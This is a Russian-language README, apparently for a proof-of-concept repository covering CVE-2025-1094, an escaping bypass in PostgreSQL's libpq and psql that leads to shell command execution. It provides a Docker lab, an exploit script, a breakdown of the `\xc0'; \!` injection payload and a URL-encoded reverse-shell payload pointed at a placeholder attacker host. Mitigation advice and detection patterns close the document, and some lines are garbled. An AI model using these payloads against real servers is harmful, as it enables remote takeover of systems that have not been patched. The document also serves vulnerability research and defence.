
Доказательство концепции эксплуатации для CVE-2025-1094 — SQL-инъекции в PostgreSQL psql, приводящей к удалённому выполнению кода (RCE) через обход экранирования в libpq. Включает среду Docker, скрипт эксплуатации и рекомендации по смягчению последствий.
Proof of Concept для критической уязвимости SQL-инъекции в клиентской библиотеке PostgreSQL libpq и утилите psql
CVE-2025-1094 — это критическая уязвимость в клиентской библиотеке libpq и командной утилите PostgreSQL. Уязвимость позволяет злоумышленнику выполнить SQL-инъекцию и повысить привилегии до удаленного выполнения кода (RCE), даже если приложение использует стандартные функции экранирования строк, такие как .
psqlPQescapeLiteralОшибка возникает из-за несоответствия в обработке недопустимых многобайтовых последовательностей (например, UTF-8) между библиотекой экранирования и парсером psql.
1. Обход экранирования
PQescapeLiteral вводится в заблуждение "недопустимым байтом" (например, 0xC0)') одним символом2. RCE через мета-команды
\!Проект организован для имитации реального сценария вызова C-функции libpq:
.
├── docker-compose.yml # Запуск PostgreSQL + веб-приложения
├── exolit.py # Эксплойт-скрипт — атака извне
├── README.md # Данный файл
└── app/
├── app.py # Веб-приложение Flask — принимает пользовательский ввод
├── Dockerfile # Сборка образа с уязвимым кодом
└── init_db.sql # Инициализация базы данных
/search\!hax\xc0'; \! id; #
| Компонент | Значение | Описание |
|---|---|---|
| Вводимые данные | hax | Обычные нормальные данные |
| Недопустимый байт | \xc0 | Недопустимый байт UTF-8 — обход экранирования |
| Кавычка | ' | Одинарная кавычка «проскальзывает» через фильтр |
| Завершение SQL | ; | Завершение текущего SQL-оператора |
| Мета-команда | \! | Специальная команда psql — выход в оболочку ОС |
| Команда shell | id | Выполняемая команда (можно заменить на reverse shell) |
| Комментарий | # | Комментарий SQL — игнорирует остаток |
1. Ввод пользователя: hax\xc0'; \! id; #
↓
2. PQescapeLiteral() не распознаёт \xc0 + ' как атаку
↓
3. Строка отправляется в psql: hax\xc0'; \! id; #
↓
4. psql парсит: фрагмент \xc0 считается концом строки
↓
5. Мета-команда \! активируется
↓
6. Команда shell id выполняется с правами контейнера
docker-compose up -d
docker-compose ps
Убедитесь, что и PostgreSQL, и приложение Flask работают.
python exolit.py
Ожидаемый результат: Отобразится информация uid=0(root), полученная с сервера.
docker-compose down
Отправьте POST-запрос на /search со следующим телом:
name=hax%c0%27;+\!+id+;+%23
%c0 = \xc0 (недопустимый байт UTF-8)%27 = ' (одинарная кавычка)%23 = # (решётка)+ = пробелhax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23
Примечание: Замените <ip-hacker> и <port-hacker> на IP и порт вашей атакующей машины.
Обновите PostgreSQL до исправленных версий:
| Версия | Безопасная версия |
|---|---|
| 17.x | ≥ 17.3 |
| 16.x | ≥ 16.7 |
| 15.x | ≥ 15.11 |
| 14.x | ≥ 14.16 |
| 13.x | ≥ 13.19 |
Всегда проверяйте, что входные данные являются допустимым UTF-8 перед обработкой:
def validate_utf8(data):
try:
data.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
В прикладном программировании используйте официальные драйверы библиотек:
# ❌ НЕПРАВИЛЬНО: Использование subprocess + psql
subprocess.run(['psql', '-c', user_input])
# ✅ ПРАВИЛЬНО: Использование параметризованных запросов с psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
rootrootНастройте правила для обнаружения шаблонов:
- Байты 0xC0, 0xC1 в теле запроса
- Мета-команда `\!` в пользовательском вводе
- Строки вида `; \!` или `' \!`
Ссылка на исходный код (до исправления) Вы можете просмотреть файл src/interfaces/libpq/fe-exec.c в версии 17.2 (версия, всё ещё содержащая ошибку):
Просмотр «Исправления» (самое важное для White-box) Чтобы понять, почему произошла ошибка и как её исправили, лучше всего посмотреть diff коммита (изменения между ошибочной и исправленной версией).
Статья с анализом уязвимости: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/